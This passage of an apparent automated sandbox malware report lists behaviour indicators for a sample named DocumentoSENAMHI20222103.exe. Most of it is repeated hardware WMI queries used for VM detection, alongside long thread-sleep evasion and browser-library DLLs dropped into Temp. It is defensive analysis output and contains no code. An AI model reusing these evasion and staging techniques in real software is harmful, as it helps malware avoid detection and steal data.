                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Windows\SysWOW64\cmd.exe TID: 1033720Thread sleep count: 3341 > 30
                      Source: C:\Windows\SysWOW64\cmd.exe TID: 1033720Thread sleep time: -40092000s >= -30000s
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exe TID: 1033976Thread sleep time: -922337203685477s >= -30000s
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exe TID: 1033756Thread sleep time: -10145709240540247s >= -30000s
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exe TID: 118108Thread sleep time: -922337203685477s >= -30000s
                      Source: C:\Windows\SysWOW64\cmd.exeLast function: Thread delayed
                      Source: C:\Windows\SysWOW64\cmd.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeThread delayed: delay time: 922337203685477
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeThread delayed: delay time: 922337203685477
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\SysWOW64\cmd.exeWindow / User API: threadDelayed 3341
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWindow / User API: threadDelayed 9412
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeAPI coverage: 3.7 %
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\softokn3.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mozglue.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss3.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vcruntime140.dllJump to dropped file
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IconLib.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\freebl3.dllJump to dropped file
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\msvcp140.dllJump to dropped file
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
